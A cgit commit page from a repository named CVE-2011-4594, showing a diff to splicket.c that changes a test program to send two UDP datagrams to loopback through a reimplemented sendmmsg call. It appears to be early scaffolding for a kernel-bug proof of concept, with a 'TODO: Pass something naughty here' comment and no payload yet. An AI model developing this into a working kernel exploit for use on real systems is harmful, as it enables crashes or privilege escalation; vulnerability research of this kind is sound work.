summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2011-12-09 01:39:43 -0500
committerJason A. Donenfeld <Jason@zx2c4.com>2011-12-09 01:39:43 -0500
commit86cb6b942fe1bd9c5b3e515226d9b304608e638b (patch)
tree12fa7f4d663fea4d04187239bf4b414012d937e5
parentAdd todo. (diff)
downloadCVE-2011-4594-master.tar.xz
CVE-2011-4594-master.zip
Send two packets.HEADmaster
-rw-r--r--splicket.c24
1 files changed, 15 insertions, 9 deletions
diff --git a/splicket.c b/splicket.c
index 90e1e51..227b55e 100644
--- a/splicket.c
+++ b/splicket.c
@@ -51,30 +51,36 @@ int main(int argc, char *argv[])
const int fd = socket(AF_INET, SOCK_DGRAM, 0);
char buf[10];
struct iovec iovec[1];
- struct reimp_mmsghdr datagram;
+ struct reimp_mmsghdr datagram[2];
struct sockaddr_in addr;
memset(buf, 0, sizeof(buf));
memset(iovec, 0, sizeof(iovec));
- memset(&datagram, 0, sizeof(datagram));
+ memset(&datagram[0], 0, sizeof(datagram[0]));
+ memset(&datagram[1], 0, sizeof(datagram[1]));
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_port = htons(10000);
iovec[0].iov_base = buf;
iovec[0].iov_len = sizeof(buf);
- datagram.msg_hdr.msg_iov = iovec;
- datagram.msg_hdr.msg_iovlen = 1;
+ datagram[0].msg_hdr.msg_iov = iovec;
+ datagram[0].msg_hdr.msg_iovlen = 1;
+ datagram[1].msg_hdr.msg_iov = iovec;
+ datagram[1].msg_hdr.msg_iovlen = 1;
/* TODO: Pass something naughty here. */
- datagram.msg_hdr.msg_name = &addr;
- datagram.msg_hdr.msg_namelen = sizeof(addr);
+ datagram[0].msg_hdr.msg_name = &addr;
+ datagram[0].msg_hdr.msg_namelen = sizeof(addr);
+ datagram[1].msg_hdr.msg_name = &addr;
+ datagram[1].msg_hdr.msg_namelen = sizeof(addr);
- errno = 0;
- if (reimp_sendmmsg(fd, &datagram, 1, 0) < 0) {
+ int ret;
+ if ((ret = reimp_sendmmsg(fd, datagram, 2, 0)) < 0) {
perror("reimp_sendmmsg");
exit(1);
}
-
+ printf("Sent %d packets.\n", ret);
+
return 0;
} \ No newline at end of file